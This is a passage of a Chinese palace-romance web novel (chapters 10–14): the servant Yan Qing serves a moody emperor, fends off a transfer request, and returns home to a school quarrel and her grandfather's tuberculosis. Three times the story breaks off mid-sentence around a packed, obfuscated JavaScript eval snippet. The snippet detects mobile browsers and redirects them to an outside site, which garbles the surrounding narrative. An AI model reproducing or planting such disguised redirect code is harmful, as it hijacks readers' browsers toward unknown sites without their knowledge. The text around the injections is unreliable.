‘搞什么,天黑了吗?’ 言卿这才逐渐平复了呼吸回过神来,随后缓缓将视线上移。 只见方才还在自己身前的纪玄逸,此时正双手抱胸倚靠在门框上,用难以捉摸的表情俯视着自己。 “这,玄逸,哀家和你商议的可是家事,怎么能让一个下人在一旁听着?” 将眼前这一幕尽收眼底的太后,一向慈祥的表情僵在了脸上。 原本张思柔和自己提起这个婢女的时候,她还不以为然,一个下人而已,自己只需要动动手指就能将她置于死地,根本无需放在眼里。 皇上也是一样,身为真龙天子,纪玄逸不会,也不需要将任何人放在眼前,从他登基那天到现在,一直如此,以后也不例外,无论是张思柔,还是那个婢女。 一想到这一点,太后的表情又恢复了过来。 “朕最近啊,谈事情的时候要是不喝茶,就一点兴致都没有。” 纪玄逸勾了勾嘴角,缓步走到桌前坐下,轻轻瞥了一眼在原地发愣的言卿。 这里是皇宫,无论如何,皇上的命令才是第一位的,不是吗? 于是言卿像方才一样静静的站在纪玄逸后面,还好,她现在不紧张了。 “这样啊,第一次听到皇上开始喝茶的消息,哀家还有些惊讶,没想到居然是真的,这是好事啊,来人,备茶。” 太后也不再将注意力放在言卿身上,反正放着不管也无事,现在还有更重要的事情。 11. 第 11 章 “玄逸啊,哀家也不和你卖关子了,张国师也过来了好几趟,这皇后之位一直空着也不是个事,你说是吧。” “......” “哀家方才啊,和思柔闲聊了好一会,真是个蕙心兰质的姑娘,定能辅佐皇上治理国家。” 太后说着,一边亲切地握住张思柔的手,就像是十分宠爱儿媳的婆婆一般。 成为皇后并不需要得到皇上的爱,因为纪玄逸没有那种感情,只要能为他所用,当一枚好用的棋子,他定会欣然接受...... 当然,这些只是太后的臆想罢了。 纪玄逸闻言,身子向后仰去靠坐在椅背上,嗤笑了一声,用有些戏谑的声音开口道。 “听上去,太后是觉得,朕一个人无法治理国家,需要一位娇贵的大家闺秀来教导朕?” “什么!皇上,哀家不是那个意思,您怎么能那么想,这不是怕皇上龙体操劳,让思柔帮你分担吗。” 太后一瞬间慌了神,握住张思柔的手都不注意用劲了几分。 “听上去是想抢丞相的饭碗啊,莫非张国师的女儿也是文状元?” 一时间,太后被怼的哑口无言,这臭小子今天到底怎么了,为什么句句都和自己作对。 “太后娘娘。” 好在这时,一旁的侍女端着茶进来了,太后见状急忙转移了话题。 “想必皇上也渴了,这是中原最上等的茶叶,是思柔特地从国师府中拿来了,皇上您可要好好品尝一下,来人,给皇上沏茶。” 那侍女点了点头,就在她准备将水倒入杯中的时候,纪玄逸突然抬手拦住了她,随即瞥了眼站在身后一言不发的言卿,淡淡的开口道。 “你来。” 突然被叫道的言卿有些惊讶的抬头,没想到还有自己的事。 “这......皇上,这可是极其珍贵的茶叶,被这下人糟蹋了可不好。” 太后的眉头皱了起来,显然不能理解纪玄逸的行为。 而男人没有回答,只是静静的用手指有节奏的敲击着桌面,一时间,屋内陷入了短暂的沉默。 “是。” 言卿率先打破了气氛,即使相处的时间不长,但和纪玄逸的每件事情都让言卿记忆深刻。 如果你足够有眼色就能察觉到,纪玄逸现在有些不耐烦了。 于是言卿接过早已吓呆的侍女手中的茶壶,快速按照自己的习惯将茶泡好,之后便退到一边。 纪玄逸敲击桌子的手终于停了下来,悠闲的拿起面前的茶杯抿了一口。 事已至此,即使内心再不悦,太后也只能硬着头皮品茶。 “真是好茶呢。” 太后转头看向一旁的张思柔,后者也刚放下茶杯,动作是那么的优雅端庄。 面对太后的感慨,从这场对话开始就一直保持沉默的张思柔,终于开口了。 “与其说是臣女带来的茶叶好,不如说是皇上的侍女手艺好。” 闻言,纪玄逸的俊眉肉眼可见的上挑了一下,言卿也好奇的投去视线。 她一直没有说话,只是默默的在一旁倾听二人的对话。 即使太后和纪玄逸两人之间的气氛几乎剑拔弩张,但她并没有表现的倾向于太后。 而就在方才,她说了今天的第一句话,事实上,这是她与纪玄逸两次见面以来,说的第一句话。 相对的,仅凭这一句话,就完全的引起了纪玄逸的注意。 言卿一直在一旁注视着这些,这位张小姐,不仅貌美,还十分聪明。 纪玄逸将手中的茶杯放下,将目光转向一旁他一直忽视的张思柔,示意她继续说下去。 “臣女在家中也品过此茶,但却没有这般惊艳,既然茶叶是一样的,那一定是泡茶的人技术不同。” “看上去张国师的女儿倒是比他老人家要聪明的多。” 纪玄逸的嘴角勾了一下,看上去心情不错,因为周围的气氛都变得轻松了几分。 “没想到思柔居然这么懂茶,那你以后可要多来皇宫和皇上交流一下啊。” 太后见状,脸上立刻挂起了笑容,虽说感情不重要,但若是皇上能对张思柔感兴趣,那就再好不过了。 “哪里,臣女只是略懂几分,和皇上比起来还相差甚远。” “瞧瞧我们思柔,多谦虚啊。” “不过皇上,虽然有些无礼,但臣女有一个不情之请。” 这是何等的大胆?不过才见面两次,甚至没说过几句话,一个国师的女儿居然敢向自己提出请求? 这若放在平时,纪玄逸八成会立马砍下她的脑袋,他最讨厌不知礼数且不自量力的人。 但幸运的是,他今天心情不错,所以他打算听一听那荒唐的请求是什么。 “说。” 或许是黄金,亦或是珠宝,也可能是皇后之位。 “其实不瞒皇上,臣女在见到这位侍女的第一面便一见如故,就像是姐妹一般。” 就在言卿好奇的思索张思柔会要什么东西的时候,对方突然将目光投向了自己,一字一句的说道。 别说言卿和太后了,就连纪玄逸都微微愣了一下,方才勾起的嘴角一下子僵住了。 “臣女对茶艺很感兴趣,惭愧的是,家父的府中并没有一位佣人的手艺能和这位侍女相比。” “......所以?” “臣女斗胆,恳请皇上将这侍女赠与臣女,相对的,家父会将国师府一年的收入都投入于荒地的开拓。” “天哪,张国师他老人家愿意吗?” “过些日子是臣女的生辰,相信家父他会答应的。” “如此甚好,思柔可真是有心了。” 张思柔和太后就这样你一言我一语的愉快的交谈着。 就好像言卿已经成为了她的侍女一样,张思柔笑得十分灿烂,一时间屋内外所有的鲜花都黯然失色。 但这张桌子上有一个人笑不出来。 “不知皇上意下如何。” 两人同时将目光转向一旁的纪玄逸,等待着他点头。 但,纪玄逸的表情变得十分难以捉摸,手指再次开始有节奏的敲击着桌面,屋内再一次陷入了沉默。 很显然,这是一笔完全划算的交易,一个下人,换取国师府一年的收入。 作为皇上,纪玄逸没有理由拒绝,在场的所有人,包括言卿都是这么认为的。 “朕的侍女吗?有意思......” “皇上不必担心,臣女会让她当贴身侍女,待遇是下人中最好......” “言卿,你怎么看,想去国师府干活吗?” 手指敲击桌面的声音停止了,还没等张思柔说完,纪玄逸便开口打断了她,微微偏头看向了一旁的言卿。 突然被点名的言卿吓了一跳,她完全没想到皇上居然知道自己的名字,事实上,这是他第一次这么称呼自己,总感觉有些别扭。 去国师府吗?老实说 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16887821|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,自己无论在哪里干活都一样,只要有钱拿就好。 国师府的工钱似乎也会很高,而且自己还不用呆在皇宫受纪玄逸的羞辱,不过那样自己是不是就不能偶尔回家了? “奴婢听皇上的吩咐。” 纠结再三,言卿还是准备顺其自然。 “呵,你还真是没有主见。” 面对男人直接了当的嘲讽,言卿悄悄的撇了撇嘴,随他怎么说好了。 “皇上......” 张思柔好像还想说些什么,但又被纪玄逸带着几分不悦的声音打断了。 “看来国师府最近的收入也不是很乐观啊,国师的女儿居然需要从朕的身边抢人?” “玄逸啊,思柔她不是那个意思......” 太后见情况有些不对,立马出来打圆场,但纪玄逸现在已经变得极其不耐烦了。 就像变了一个人一样,纪玄逸的表情很不好,别说张思柔和太后了,就连言卿都不知道纪玄逸为什么生气。 “皇上,臣女不知道哪里错了,还请皇上息怒。” 张思柔急忙说道,方才淡定自若的表情消失了,转头挂上了一副故作伤心的姿态,任何人看了都会心生怜悯,但似乎纪玄逸不在此列。 面对女人可怜兮兮的话语,纪玄逸冷哼了一声,随后猛地起身朝门外走去。言卿见状,立马跟了上去,看上去自己的并没有被卖掉,这到底是该高兴还是难过? 走到门口,纪玄逸突然站住了脚步,没有任何预兆,匆忙的言卿差点撞到他身上。 纪玄逸一只手扶着门框,随后回头看向屋内的二人,冷冷的开口道。 “回去告诉国师,凭他府中那些收入,就别想着替朕分担政务了。” 说罢便头也不回的离开了。 —— 从慈宁宫出来之后,纪玄逸就走的飞快,以至于身后的言卿几乎要小跑起来才能勉强跟上他。 “为何走那么慢?” 就在言卿在心里嘀咕的时候,纪玄逸终于停下了脚步,随即转身皱着眉头问道。 “你看上去有些不满,或许你是想去国师府当下人?” “奴婢不明白皇上的意思。” “呵,如果是这样的话,方才为何不直接说呢,朕说不定会大发慈悲成全你。” 纪玄逸冷笑一声,随即双手抱胸的走到言卿面前,居高临下的审视着她。 ‘到底谁又惹他了?’ 言卿有些恼火,自己明明什么也没说,他到底是怎么得出这个结论的,再说了,自己去哪里工作到底和他有何关系? 自己今天从睁开眼到现在,几乎就没有休息过,不是被这个男人使唤就是羞辱,现在还将莫须有的事情加于自己? “或许皇上说的没错,奴婢应该去国师府工作。” 言卿不是真的这么想的,只是不服气而已,话说出口,她自己都觉得有些可笑。 你到底知不知道你在和谁说话? “呵,很好,看来你已经很习惯被当作下人对待了,真是出乎朕的意料,原来你口中的尊严也只不过是嘴上功夫。” “您到底在说什么?” 言卿抬起头,清秀的小脸上眉头紧锁,自己到底干什么了? 如果要一直服侍这一位阴晴不定的君主,自己估计不用多久就会疯掉。 “够了,你可以走了。” 说罢,纪玄逸转身大步离开,留下一脸疑惑的言卿独自在原地。 12. 第 12 章 可以走了是什么意思? 是今天的工作结束了,可以回去了,还是说自己以后都不用来了? 这下言卿理解了两人早上的对话,纪玄逸确实没有因为湖边的事情而生气,因为他方才的行为和语气,才是真的生气了。 但是为什么生气?言卿百思不得其解,或许那不是自己应该思考的。 —— 第二日,言卿照旧来到乾清宫,门口的太监看上去已经恭候她多时了,一见到她脸色立刻变得明朗。 “公公。” 言卿礼貌地打了招呼,那公公笑了一下,随后递给她一个崭新的托盘。 “这是?” 言卿用困惑的眼神低头看着手中的托盘。 “这是今天新到的,是极其珍贵的上等青釉瓷所制的茶具,所以千万要小心,不要打碎了。” 言卿闻言,仔细地看了看手中的托盘和上面摆着的茶具,不由得咽了下口水。 自己在平沙国的时候,都从未用过如此上等的东西,贵重到自己甚至无法估量它的价值。 ‘这可真是......’ 言卿默默的叹了口气,一大早居然就有这么艰巨的任务,如果打碎了它,自己需要在皇宫多工作多久? 一想到这些,言卿突然感觉手上的重量增加了一倍,甚至有些颤抖。 “身体是你的,为什么不能控制?” 紧接着,昨日男人的话语刺痛着言卿的耳朵。 谁说她做不到? 言卿深吸了一口气,端着托盘稳稳地走了进去,她可不想让人看扁了,尤其是那个男人,她再也不会像那日一样出丑了。 —— “皇上,这次凯旋的宴会该如何操办?” 言卿一进书房,就看见桌前坐着三个熟悉的人。 纪玄逸的贴身侍卫肖风,言卿对他的印象很好,性格很好相处,在他身边和纪玄逸正在交谈的人是宋颜睿,当朝宰相,言卿对他并不是很熟悉。 书房的光线十分充足,透过花窗可以看见背后花园和池塘的美景,言卿一进门,三人的目光便不约而同地投了过来。 言卿尽可能平静地走向纪玄逸,随后小心翼翼地将托盘放在桌上唯一没有文书的地方,仔细地将茶泡好,这并不是一件简单的事,因为从始至终纪玄逸都在注视着她。 他们在讨论什么,方才自己好像听见了宴会? “朕还以为你今日不会来了。” 纪玄逸悠闲地靠坐在榻上,或许是因为早上的原因,他的声音比平时显得更加慵懒。 “怎么会,这是奴婢的工作。” “哈,你还真是有趣。” “皇上谬赞了。” 纪玄逸嗤笑了一下,专注的看着言卿,随手端起桌上的茶杯,即使它们还是烫的,言卿本来想提醒男人这一点,但之后放弃了,因为纪玄逸根本没有准备喝的打算。 在旁人眼里。两人就这样进行着无意义的对话,肖风倒是无所谓,他对于这种场面感到十分有趣,但宋颜睿可不这么觉得。 身为天子,皇上的时间十分宝贵,他今日还有很多事情要处理,现在可不是和侍女聊天的时候。 “皇上,宴会的事情......” “朕没兴趣。” 纪玄逸收回了视线,随口回了一句,随后便垂眸开始批阅奏折。 言卿顺着他的视线看去,光是看那些奏折堆叠的厚度,就能猜到他到底有多忙。 “但是皇上,宫中已有数月没有举办过宴会了。” 宋颜睿显得有些焦急,宴会不光是一种享乐的活动,同时也是一种重要的社交手段。 这本该是皇后的职责,但可惜的是,无论是宴会还是女人,他亲爱的皇上都不感兴趣,于是这种事情就理所应当的交到了自己手上。 这让宋颜睿感到十分头痛,距离上次的宴会已经过去快半年了,这样下去朝中的大臣都快记不得对方的名字了。 之前的每次提议都被皇上回绝,这次无论如何都要成功。 “皇上,微臣也觉得该举办一次宴会了,那会很有趣。” 一旁的肖风也点了点头,表示赞同宋颜睿的观点。 但两人都没有得到回应,屋内一时间只剩下纪玄逸从容批阅奏折的声音。 给这种皇上当臣子,在某些方面来说倒是有些可怜。 言卿在一旁看着这一幕,不由得在心中同情起两人。 不过话说回来,宫中要举办宴会啊,自己上一次参加宴会是什么时候? 记不清了,好像是好多年前了,她很喜欢参加宫中办的赏花宴,每到那种时候自己就会交到很多新朋友,因为都是母后一手操办的,所以宴会上都是自己喜欢的东西。 “言卿。” 就在言卿还沉浸在回忆中的时候,一道清晰又低沉的声音叫了自己的名字。 “是!” 言卿下意识的看了过去,视线在一瞬间和一双漆黑的瞳孔交织在一起。 纪玄逸的目光直直的盯着她,和皇上对视是一件极其失礼的事情,但言卿无法移开目光。 这段半强迫的对视持续了很长一段时间,就好像双方都在等待对方的下一句话。 言卿意识到对方在等待自己回答,但可惜的是,因为走神的缘故,她完全不知道为什么对方要叫自己。 就在言卿纠结的时候,男人轻轻抬起了食指,开始有规律的敲击着桌面,这似乎是他的习惯。 你又感到不耐烦了吗?言卿敢肯定这是这个男人出生以来第一次被人忽视。 言卿深吸了口气,准备开口询问,但对方先一步开口了。 “朕方才问你,喜欢宴会吗?” “是的,奴婢很喜欢,从前是......” 言卿干巴巴的说道,为什么要问自己这种问题? “从前?看上去你现在已经失去了兴趣,说说看,你有多久没有参加过宴会了?” 从故国被毁灭之后,再也没有过。 他希望得到这种回答吗,言卿的眉头不自觉地皱了起来,她不想再继续这个话题了。 “很久。” “也是,没有人会邀请你参加宴会,因为你闻起来像湿草。” “......” 言卿在心里翻了个白眼,她差不多已经开始习惯这种事情了。 而在场唯一不习惯的人便是当朝丞相宋颜睿。 即使上次已经见过一次两人相处的场景了,但第二次还是觉得毛骨悚然。 和肖风这个乐天派不一样,宋颜睿很会看眼色,就像方才,他和皇上在讨论关于宴会的事情。 皇上在毫无预兆的情况下,问一个毫不相干的侍女是否喜欢宴会,这已经很破天荒了,而更令人震惊的是,皇上完全被无视了。 那个叫言卿的侍女很显然在走神,没有听见皇上的问题。 皇上很容易对任何事情感到不耐烦,加上皇上本来就一直在刁难这位侍女,种种事情叠加在一起,她绝对会掉脑袋。 宋颜睿都已经做好替她跪地求情的准备了。 不过好在,皇上今天十分大度,不但没有怪罪她,甚至还重复了一遍方才 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16900474|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 的话,真是不幸中的万幸。 “颜睿。” “臣在。” “朕改变主意了。” 宋颜睿很高兴皇上能同意举办宴会,即使他不知道让这位君主动摇的原因是什么,管他呢,也许是一时兴起罢了。 商量完这件事情之后,纪玄逸要独自处理一些很重要的事情,于是言卿理所应当的和宋颜睿他们一同退出了屋子。 “哎呀,没想到皇上这次居然同意举办宴会了,还以为这次也没戏了呢,不过颜睿,又要辛苦你了。” “嗯,不过皇上能赞成就是好事,我会处理好一切。” 一出书房,肖风便对宋颜睿投去同情的目光,作为当朝唯一的丞相,本来就有很多事要忙,现在又多了一件。 “唉?宴会的事情需要宋丞相来操办吗?” 言卿跟在两人后面,有些好奇的问道。 “是哦,因为颜睿是个特别厉害的人,什么事情都能做好,不像我对这种事情一窍不通,所以皇上很信任他哈哈哈哈。” 肖风放慢了脚步,与言卿的步伐保持同样的速率,用轻松的语气和她解释道。 “别拿我打趣了。” 宋颜睿皱了皱眉头,用手肘狠狠的捣了一下肖风,随后正了正神色说道。 “这本该是皇后的工作,但如你所见,后宫现在别说皇后了,完全是空无一人,所以这件事情才会不得已的落到我身上。” “这样啊......” 言卿点了点头,想来确实是这样,每次一到举办宴会的时节,母后就会变得很忙。 “真是辛苦你了,颜睿,等皇上立了皇后,你就可以休息了。” 肖风揉了揉方才被打的地方,随后像是安慰似的拍了拍宋颜睿的肩膀,后者毫不客气的将他的手拍了下去。 “听上去是让我一直干到死的意思。” “嘿嘿,怎么会呢。” 肖风嘿嘿的笑了一下,随后像是突然想起来了什么,突然转头看向言卿。 “对了言小姐,皇上一直到晚上都会很忙哦,你可以好好休息一下了,或许我们可以一起去用膳,皇上的御厨手艺非常好哦。” 最后一句是肖风悄悄的在言卿耳边说的,就好像是什么大秘密一样。 比起前几次的相处,肖风对自己的态度似乎要更加放松,就像是对待朋友一般,言卿很喜欢和他交谈,不过可惜的是。 “我就不去了,在天黑之前我要到家。” “回家?你的意思是,要出宫?” 宋颜睿敏锐的问道,言卿点了点头,顺势向他们解释了自己来这里的原因,从茶楼欠债,到来皇宫工作的事情。 “天哪......言小姐,你真的太厉害了。” 言卿的故事听的肖风几乎要落泪,难以想象眼前这个比自己矮一个头的姑娘居然这么厉害。 “哈哈,肖将军谬赞了,时候不早了,我也该走了,我们之后再见。” 言卿说着,礼貌的向二人行礼,随后快步离开了皇宫,今天难得皇上放过了自己,撑着这个时间自己要干劲回去才行。 “真没想到,居然还有这样的故事。” 看着言卿离去的背影,连寒门出身不断打拼的宋颜睿都忍不住感慨起来。 一个小姑娘,不光要养活全家,还为了金钱在皇宫每天面对皇上极高的压迫和羞辱。 肖风点了点头,不过担忧便随之而来,他有些忐忑的看向宋颜睿。 “不过颜睿,你说,皇上知道她要出宫的事情吗?” “......不。” 13. 第 13 章 “言卿?你居然这么早就回来了,宫内还顺利吗?” 言卿迈着轻快的步子走进了茶楼,只见柳辰良独自一人在打扫店内,看见门口的言卿,先是惊讶了一下,随后又立刻变得温和起来。 “嗯,宫内的工作结束的早,我便赶紧回来了。” 言卿一进屋就感觉到不一样,这间茶楼在柳辰良的照料下显得焕然一新,一切都变得井井有条。 “非常感谢你,柳先生。” “哈哈,这些都是最基本的,是我应该做的。” 柳辰良放下笤帚,笑着摆了摆手,好像这些都没什么大不了的。 言卿愈发觉得这个帮手真是找对了,等皇宫的工钱下来,她一定要好好犒劳眼前的这个男人。 “对了,爷爷呢?” 言卿看向掌柜那边,爷爷一般都会在那里才是,为何今日不见人影? “这......” 一说到齐老爷子,柳辰良的表情显得有些担忧,随后开口道。 “方才私塾的先生找来了,神情十分严肃,说是昊儿在私塾犯了事,让家里大人过去,于是齐先生就赶了过去。” “什么!” 言卿瞪大了眼睛,脸色突然变得苍白,就像前些天在皇宫那般。 一瞬间,言卿的脑海中闪过一百种糟糕的情况,昊儿是个乖巧的孩子,到底出了什么事。 不,更要紧的是,爷爷的身体状况十分不好,若真出了什么事......光是想想,言卿就觉得窒息。 “言卿,你还好吗?” 见言卿状况不对,柳辰良急忙上前搀扶,言卿顺势抓住他的胳膊,有些慌张地说道。 “那个,柳先生,麻烦您再照看一下店里,我要出去一趟。” “当然,这是我应该做的,别担心,一定不会有事的。” 言卿点了点头,随后飞奔出门。 —— 当言卿赶到私塾门口的时候,太阳已经开始落山了。 已经是放学的时间,私塾里一片安静,除了一个地方不断传来说话的声音,而当言卿越靠近那里,不好的预感就愈发强烈。 当言卿小心翼翼地推开门时,立刻与屋内的几个人对上了眼神。 只见教书先生一脸为难的站着,一旁的矮桌前端坐着一位陌生的女人和一个孩子,前者正恶狠狠的盯着门口的言卿。 随后言卿的目光向旁边移去,只见身体佝偻的爷爷正不断地向那位女人道歉,目光接着往下,昊儿正满脸泪水和鼻涕躲在爷爷的身后。 她的弟弟太矮小了,以至于最后才出现在自己的视野中,一瞬间,言卿的心沉到了最底端。 “姐姐!” “言卿......” 昊儿一看见言卿便立刻跑了过去,泪水又止不住的涌了出来,言卿赶紧蹲下身子,捧起昊儿的小脸,仔细的检查,发现并无伤痕之后松了口气。 “没事的,昊儿,姐姐来了。” 言卿摸了摸昊儿的头,紧紧地抱住了他,随后起身将齐老爷子护在身后,神情严肃地说道。 “请问我可以知道发生了什么吗?” “呵,发生了什么?你瞪大眼睛好好看看我家孩子的脸!” 那名女子气愤地大声喊道,猛地抓住她孩子的肩膀,将脸凑近。 言卿深吸了一口气,只见那男孩脸上的淤青比昊儿严重百倍,甚至还有血不断往外渗,简直触目惊心。 “你是她姐姐?你和那个老头是怎么教育孩子的!若是我家孩子的脸上留疤了,我要你们吃不了兜着走!” “郑夫人,您先冷静一下,这里还有孩子在,我已经让大夫看过了,已经用了最好的药,所以......” “什么大夫!要是我家孩子的脸上留疤了,那个大夫也跑不掉!” 无论教书先生如何劝阻,那女子都没有冷静下来的迹象,那表情就像是要把面前的三人活剥了一样。 眼前的女子虽然跋扈,但衣着十分华贵,连教书先生都对她毕恭毕敬,可见身份不一般,不是大富大贵就是官家子弟。 身份是能压死人的,言卿深知这一点,于是她脸色苍白的低下了头。 “我很抱歉,夫人,对于我弟弟的行为真诚的向您道歉,或许我可以补偿......” “不是我的错!” 在言卿道歉的时候,站在一旁的昊儿突然提高了音量。 “我只是推了他一下,是他自己绊倒磕到了砚台上!” “昊儿......” “他们取笑我,在我的课本上乱画!说我低贱,让我学狗叫!姐姐,从我第一天来上学他们就一直揪着我的头发侮辱我!” 言卿简直不敢相信自己的耳朵,还没等她作出反应,那位夫人立刻一下子从椅子上站起来,指着昊儿大喊道。 “你这个卑贱的臭小子,你知道你在和谁说话吗!” “请等一下,这样解决不了任何问题。” 教书先生再次上前试图劝阻,但却被郑夫人一把推开。 “像你这种卑贱的人,能和当朝侍郎的嫡子在一个学堂里上课已经是莫大的荣幸,现在居然还敢如此没教养的大声讲话!” 言卿深吸了一口气,试图让自己冷静下来,因为她发现自己有一种想要像这位夫人一样大喊大叫的冲动。 但自己需要冷静,于是她再次低下了头。 “非常抱歉,夫人,我会承担所有费用,直到您的儿子完全康复......” “呵,谁稀罕你那几个臭铜板,贱民就是贱民,不光没有教养,还不自量力。” 无论言卿如何道歉,都无法让她停下侮辱的话语,郑夫人冷哼一声,她冰冷又尖锐的目光游离在三人身上。 “现在没有教养的人到底是谁?” 言卿从喉咙里发出的声音异常的颤抖,连她自己都不敢相信自己说了什么。 随后屋内陷入了鬼一般的沉寂,郑夫人眯起了眼睛,居高临下的看着言卿。 “再说一遍?” “我不认为,当着孩子的面,一直说着肮脏词汇的行为,是有教养的表现,言传身教,大人说的话,都会潜移默化影响孩子。” 郑夫人的脸立刻变得通红,但那并不是因为害臊,而是气愤,她现在看上去快气疯了。 “好,很好,你这个贱婢,我记住你们了,希望下次见面的时候,你不会跪在地上祈求我的原谅。” “郑夫人......” 教书先生似乎还想劝阻,但郑夫人径直离开了屋子,并“砰”的一声用力甩上了门。 昊儿似乎完全被方才发生的场景吓着了,用力地抱住了言卿并放声大哭起来。 言卿也没有从方才的事情中缓过来,她完全不知道接下来会发生什么,脑子里不断重复着方才对一家人充满威胁的话语。 这种感觉比自己在皇宫面对纪玄逸的时候还要恐怖。 “没事的,言卿,会没事的。” 一旁的齐老爷子缓缓上前,顺了顺言卿和昊儿的背,开口安慰道,这似乎是他唯一能做的事情了。 “唉,我感到十分抱歉,是我们学堂疏忽了,居然会发生这种事情。”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16907800|192088||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 教书先生叹了口气,向面前的三人道歉,他教书多年,无比清楚这种官家会如何对待得罪他们的人。 “不,先生,您无需道歉。” “那位夫人,是当朝吏部侍郎的妻子,是出了名的不好惹,恐怕......不会善罢甘休。” “没事的......都会好的......” 言卿抱着昊儿,喃喃自语道,得罪了那种身份的人,之后会发生什么,她甚至不敢想象。 —— “言卿,齐先生,昊儿,你们回来了......嗯,你们还好吗?发生了什么?” 三人一回到茶楼,柳辰良便立刻迎了上来。 “柳先生,这么晚了,您还不休息啊。” “我有些担心你们,那里还好吗?” 当柳辰良询问情况时,言卿只是苦笑着摇了摇头,或许是因为脸色十分苍白的原因,柳辰良也没有继续追问下去,只是默默的搀扶着齐老爷子和昊儿上了楼。 回到屋子后,言卿独自呆坐在床上,她该怎么办?或许那位夫人会去衙门,或许会带人来茶楼闹事,但自己还需要回皇宫,到时候谁来保护他们? 言卿十分清楚,这种位高权重的人会如何对待地位在自己之下的人,为此她感到绝望,茫然的盯着天花板。 这似乎不是自己一个人可以解决的问题,但谁会为了帮助一个可怜的家庭而去得罪吏部侍郎呢? 就在此时,言卿的脑海中闪过一个讨厌的人影,几乎是一瞬间,言卿猛地摇了摇头。 “你简直是疯了,言卿。” 那个讨厌的男人是不可能同情自己的,他甚至随时可以杀了自己,就算是一时兴起帮了自己,你也无法想象他会索取什么样的报酬。 “想都别想。” 或许能用钱解决是最好的情况。 “叩叩叩——” 言卿沉浸在自己的思绪里,突然屋子的门被敲响了,一个小小的身影走了进来。 “姐姐......” 昊儿缓缓走了进来,两只手紧张的握在一起。 “对不起姐姐,都是我的错,你不要生气......” “昊儿,姐姐没有生气。” “对不起......” 昊儿一边道歉,眼泪又不争气的流了出来,言卿见状立马过去将弟弟抱住,后者却哭得更厉害了。 “呜呜,都是我的错,我不该推他的。” “没必要道歉,昊儿,是那些嘲笑欺负你的人的错。” 言卿拍了拍弟弟的背,随后抓住他的双肩膀,与他进行眼神交流,语气有些严肃的说道。 “但是,昊儿,姐姐希望,下次再遇到这种事,你可以先告诉我,好吗?” “......” “在事情变得更糟前,或许我们可以一起解决它。” “但是姐姐你一直很忙,我不想添麻烦......” 昊儿低下了头,小声的说着让言卿心碎的话语。 眼前的孩子,已经足足有七岁了,但因为营养跟不上,所以在同龄人中显得异常矮小,本应该是长肉的年纪,胳膊却细细的,小脸上也显得异常消瘦。 即使问他也只会摇摇头说不饿。 自己像他这么大的时候,无忧无虑,只会跟在母后身边撒娇...... “对不起昊儿,对不起。” 言卿喃喃道,抱着昊儿的手臂不自觉地收紧了几分,她不知道自己为何要道歉,只是觉得自己做的还不够,对昊儿也好,对爷爷也好。 爷也好。 14. 第 14 章 第二天清晨,言卿理应赶快前往皇宫,但她却无法离开茶楼。 因为一大早齐老爷子的身体似乎出了问题,一直不断的咳嗽,原以为只是着凉了,但后面甚至开始咳血,言卿吓坏了,柳辰良急忙出去叫了大夫。 “大夫,爷爷的情况怎么样了?” 三人站在一旁,焦急的等待着大夫的检查结果。 “......并不是普通的风寒。” 大夫把完脉后从屋子里出来,脸上的神色十分不好,语气有些沉重。 “是肺痨,起初的症状与风寒无异,但若是不趁早干预治疗,会不断咳血,人会愈发消瘦,最后......” “嗬——” 言卿听了只觉得眼前一黑,几乎快要晕厥,还好一旁的柳辰良手疾眼快地扶住了她。 “该怎么办,大夫,请您一定要救救爷爷!” “这种病短时间内无法根治,必须要及时补充营养,长期服药才行,不然病情会不断恶化,只是......药材的价格十分昂贵。” 大夫的语气有些为难,齐老爷子的茶馆的情况整条街的人都清楚,她们很可能无法负担这高额的费用。 “大夫,钱不是问题,请给爷爷用最好的药!拜托了!” “这......知道了,我会尽力的,只是我铺中的药材也有限,只能尽可能地开最好的了。” 大夫一边收拾自己的药包一边说道,尽可能地压低音量,不让屋内的齐老爷子听见。 “是的,非常感谢您。” 言卿匆忙地从箱子里取出银子递给了大夫,嘴里不断说着感谢的话. 上次从肖风手里拿的工钱,排除必要的开销,还剩下差不多五两银子,希望这些钱换取的药材能够撑到下次发工钱的日子。 待送走了大夫之后,言卿终于是筋疲力尽的坐在了凳子上,从昨晚到今天,发生的事情太多了,她感到十分疲惫。 “别担心,齐先生会好起来的。” 柳辰良默默走到一旁,将泡好的茶水送到言卿面前。 言卿疲惫的抬起头,看着一脸担忧的柳辰良,内心感到十分愧疚。 “很抱歉,明明只是让你来照顾茶楼的,但却多让你做了这么多事,我会付你额外的工钱。” “别这么说,言卿,我的工钱不要紧,等一切都过去了再发给我也不迟。” “但......” “实话跟您说,在空闲的时候我会帮街坊邻居干一些杂活,得到了不少工钱,完全不用担心。” 